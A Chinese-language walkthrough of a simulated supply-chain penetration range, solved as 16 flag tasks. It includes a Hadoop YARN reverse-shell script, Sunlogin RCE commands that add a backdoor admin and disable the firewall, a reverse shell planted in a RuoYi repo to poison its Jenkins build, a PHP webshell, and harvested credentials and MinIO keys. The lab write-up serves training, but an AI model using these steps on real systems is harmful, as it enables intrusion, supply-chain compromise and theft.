该场景模拟软件供应链业务逻辑,对作为公司供应链全流程的相关业务进行仿真,模拟供应链相关的生产网段、开发运维网段、运营商网段、测试网段,攻击者需要利用信息收集、漏洞扫描、WEB漏洞利用、数据库漏洞利用、权限提升、代理转发等手段进行渗透

外网端口扫描

# 任务1

拿下外网禅道服务器权限,并提交根目录下的flag

登录禅道系统,F12查看到版本是18.0.beta1,该版本存在RCE

尝试工具利用,成功执行命令

查看根目录flag

# 任务2

登录禅道后台,提交禅道后台的flag

通过RCE上线到vshell

查看配置中的数据库密码

搭隧道连接数据库,查看zt_user表

管理员密码无法md5反查,直接修改为一个弱口令123456

登入系统查看到flag

# 任务3

拿下内网Hadoop权限,并提交flag

扫内网10.10.200.0/24网段

10.10.200.11:8088有/cluster路径,访问查看直接打开了Hadoop Web管理界面

执行脚本创建恶意应用执行RCE

import requests

#python3 
target = 'http://10.10.200.11:8088/' # Hadoop地址
lhost = '47.*.*.*' # nc监听地址

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': f'/bin/bash -i >& /dev/tcp/{lhost}/43210 0>&1',
        },
    },
    'application-type': 'YARN',
}
print(data)
requests.post(url,json=data)

反弹shell

# 任务4

到邮件服务器中看看呢?

在禅道系统后台-邮件页面可以看到已配置邮件服务器,但是前端不显示密码

在数据库zt_config表中可以查看

登录webmail,flag在已发送邮件中

# 任务5

FTP服务中好像有flag?

邮箱中保存了密码ftp/wsfxsdfrsaqwczdsa

扫内网开放的21端口

利用获取到的密码登录

# 任务6

OpenVPN好像能通到172.16.10.0/24段?

压缩包给了很多个ovpn配置,1194是ovpn默认端口,修改连接IP为公网入口IP

连接vpn后根据提示扫描172.16.10.0/24网段(需要-np -p 1-65535扫描全量端口,花时间很长)
存在一个windows主机172.16.10.88,开放了49157端口识别为向日葵

利用工具尝试RCE,成功执行

执行命令,添加后门用户,开启远程桌面,关闭防火墙

xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net user hack pass@123 /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net localgroup administrators hack /add"
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "netsh advfirewall set allprofiles state off"

在Administrator用户的桌面下找到flag

Docker registry:
pineapple/123qwe2wsxcde3

Jenkins(未使用):
yujian/Yujian123!@#

JumpServer:
admin/78dfghiugrhsdiuhiuasrh

# 任务7

提交Gitea后台flag

在Administrator用户目录下看到有git bash history,编辑了.git/config

桌面pineapple目录下有.git/config,查看发现有10.10.10.10:3000的路径配置

[core]
        repositoryformatversion = 0
        filemode = false
        bare = false
        logallrefupdates = true
        symlinks = false
        ignorecase = true
[remote "origin"]
        url = http://yujian:xgMZCiP6gfusWj3@10.10.10.10:3000/Pineapple/Pineapple.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
[user]
        name = yujian
        email = yujian@mail.yym1ng.com

但是在windows下是无法直接访问的

实际上连接vpn后的网络就能直接访问

根据配置文件的密码yujian/xgMZCiP6gfusWj3登录

# 任务8

尝试对生产环境投毒!拿下投毒后容器的权限,并获取容器uname -r的执行结果,将执行结果md5加密后包裹flag{}进行提交

看到gitea中有几个项目,先把windows中的Pineapple目录拖出来

回退到master分支,与gitea中保持一致

git reset --hard origin/master
git pull

可以看到项目是若依框架,尝试在其中添加恶意代码,在容器部署时执行反弹shell
入口文件为ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java

由于不清楚容器的出网情况,这里可以借助内网windows机器接收反弹shell

try {
    String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/172.16.10.88/29999 0>&1"};
    Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
}

开启nc监听

push更改

push后会触发Jenkins构建并部署,等待一段时间(10分钟),成功反弹shell

# 任务9

拿下商城管理系统并提交flag

回到10.10.200.0/24的扫描结果

商城管理系统地址10.10.200.45(实际上开放了公网地址端口20082,但是直接扫1-65535扫不出来)

看到响应头中有PHP版本,考虑Thinkphp框架

利用工具扫描,存在漏洞

# 任务10

找找哪里存在有意思的镜像?提交镜像中的flag

商城系统实际上有两个容器,另一个是公网地址端口20082,但是直接扫1-65535扫不出来

公网地址的这个环境通向网段10.10.100.10/24,扫描该网段

10.10.100.1:80 open
10.10.100.55:22 open
10.10.100.35:80 open
10.10.100.60:80 open
10.10.100.55:80 open
10.10.100.45:80 open
10.10.100.1:22 open
10.10.100.10:22 open
10.10.100.1:443 open
10.10.100.3:3306 open
10.10.100.45:3306 open
10.10.100.2:6379 open
10.10.100.1:8080 open
10.10.100.66:8080 open
10.10.100.60:8080 open
10.10.100.1:9000 open
10.10.100.99:9000 open
10.10.100.10:3000 open
10.10.100.60:5555 open
10.10.100.60:8081 open
10.10.100.60:8082 open
10.10.100.60:8083 open
10.10.100.1:9001 open
10.10.100.99:9001 open
10.10.100.60:9091 open
10.10.100.60:9092 open
10.10.100.53:10000 open
[*] alive ports len is: 27
start vulscan
[*] WebTitle http://10.10.100.1        code:302 len:0      title:None 跳转url: http://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9000  code:307 len:60     title:None 跳转url: http://10.10.100.99:9001
[*] WebTitle http://10.10.100.45       code:200 len:11469  title:商城系统登录
[*] WebTitle http://10.10.100.66:8080  code:403 len:589    title:None
[*] WebTitle http://10.10.100.60:8083  code:404 len:18     title:None
[*] WebTitle https://10.10.100.1       code:302 len:0      title:None 跳转url: https://10.10.100.1/webmail/
[*] WebTitle http://10.10.100.99:9001  code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.1:9001   code:200 len:1310   title:MinIO Console
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665   title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.35       code:200 len:69     title:None
[*] WebTitle http://10.10.100.99:9001  code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.60       code:200 len:17065  title:""
[*] WebTitle http://10.10.100.1:9000   code:307 len:59     title:None 跳转url: http://10.10.100.1:9001
[*] WebTitle http://10.10.100.10:3000  code:200 len:13907  title:Pineapple_Gitea
[*] WebTitle http://10.10.100.1:8080   code:200 len:124    title:None
[*] WebTitle http://10.10.100.60:8081  code:404 len:18     title:None
[+] InfoScan http://10.10.100.1:8080   [禅道] 
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665   title:poste.io :: 欢迎使用 poste.io
[*] WebTitle http://10.10.100.1:9001   code:200 len:1310   title:MinIO Console
[*] WebTitle http://10.10.100.60:8082  code:404 len:431    title:HTTP Status 404 – Not Found
[+] InfoScan http://10.10.100.10:3000  [Gitea简易Git服务] 
[*] WebTitle https://10.10.100.53:10000 code:200 len:4806   title:Login to Webmin
[*] WebTitle http://10.10.100.60:5555  code:404 len:69     title:404: Not Found
[*] WebTitle http://10.10.100.60:8080  code:302 len:0      title:None 跳转url: http://10.10.100.60:8080/core/auth/login/?next=/
[*] WebTitle http://10.10.100.60:8080/core/auth/login/?next=/ code:200 len:13302  title:JumpServer 开源堡垒机

根据题目提示以及前面拿到的密码,环境中可能存在docker registry,默认端口5000,但是fscan不指定端口的情况下不会扫描,所以尝试fscan -h 10.10.100.10/24 -p 5000指定端口扫描

扫描5000端口路径,存在/v2/_catalog

尝试访问,接口存在认证

利用前面获取的密码pineapple/123qwe2wsxcde3访问

curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/_catalog

存在名称为flag的镜像,查看镜像信息

curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/tags/list
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/manifests/latest

先查看镜像tag,只有一个latest

然后查看latest的信息,存在写入flag的操作

# 任务11

提交Minio中的flag

docker registry中还有一个spring-boot-minio镜像,查看镜像信息

里面有一个jar包,需要运行容器后提取出来分析

docker login 10.10.100.43:5000  # 输入用户名密码
docker save 10.10.100.43:5000/spring-boot-minio:latest -o spring-boot-minio.tar.gz
docker load -i spring-boot-minio.tar.gz

# 或者直接pull
docker pull 10.10.100.43:5000/spring-boot-minio:latest

由于docker默认只支持HTTPS的远程仓库,如果出现HTTP错误,需要编辑配置文件

/etc/docker/daemon.json

然后重启systemctl restart docker.service

进入容器,jar包在根目录下

docker cp ce2:/sprint-boot-minio-0.6.0.jar ./复制

分析jar包,拿到MinIO的ak/sk和网页端用户名密码

#MinIO对象存储,文件服务器  
minio:  
  endpoint: http://10.10.10.99:9000/ # 外网API,文件上传地址(只支持IP,不支持域名)  
  access-key: Vzggdhxq3K2KXed3vQ6S  
  secret-key: zf5XkTNlx2GJwcCywwoAZRx97pGgOfDCozw917J3  
  #minio-user: admin  
  #minio-passwd: gygsud7gbskdbbxd3rtqak  
  file-obj-domain: http://10.3.4.78:9000/ #外网访问文件对象的域,例如:https://res.hackyle.com/  
  endpoint-in: http://10.3.4.78:9000/ # 内网API  
  bucket-name: images #本个项目所用的桶名

登录MinIO,查看flag

# 任务12

JumpServer?好像存在历史漏洞

根据前面拿到的用户名密码admin/78dfghiugrhsdiuhiuasrh登录

版本为3.10.6,存在RCE漏洞
JumpServer 漏洞复现(CVE-2024-29201&CVE-2024-29202) | wh0am1i's 个人技术记录

查看资产列表,其中已有一个资产

添加一个user用户

将某个资产授权给该用户(创建后自动授权

以user身份登录,进入作业中心-模版管理-Playbook,添加一个

然后进入工作空间编辑

- name: |
       <!--swig0-->

然后进入作业中心-作业管理,创建Playbook作业

保存后,执行该作业

接收到反弹shell

# 任务13

拿下Jenkins的Agent主机~

Jenkins agent已经被默认添加进堡垒机的资源,实际上进到堡垒机后就能直接访问SSH

另外这里还泄露了Jenkins的Web账户密码Jenkins/6TGBsSfdfFWDNN234g6F5

# 任务14

工资查询系统里好像有好看的?

工资系统是外网20081端口,弱口令admin/123456登录

在用户设置页面中有flag

# 任务15

拿下后台工资查询系统,尽情修改工资吧!

在工资系统的后台管理界面,存在可以编辑部分页面HTML的功能

尝试写入一句话木马

提交后,浏览器记录请求提交到/wzszpost接口,并且提示设置成功

但是现在并不清楚编辑的内容会反应在哪个页面
回到gitea,除了flag项目以外还有两个代码审计项目,根据字符串内容得知Code_Audit_it2是工资系统对应的项目

把代码clone下来,搜索wzszpost

git clone http://10.10.10.10:3000/Pineapple/Code_Audit_it2.git
cd Code_Audit_it2
git reset --hard origin/master
git pull

查看代码逻辑,该接口会把请求内容写入config/wzsz.php

尝试访问页面,木马注入成功

# 任务16

再拿下Jenkins主机的权限,结束撒花!

Jenkins的Web页面地址为10.10.100.66:8080
根据agent里泄露的账户Jenkins/6TGBsSfdfFWDNN234g6F5登录

账户是管理员权限,访问/script路径,执行脚本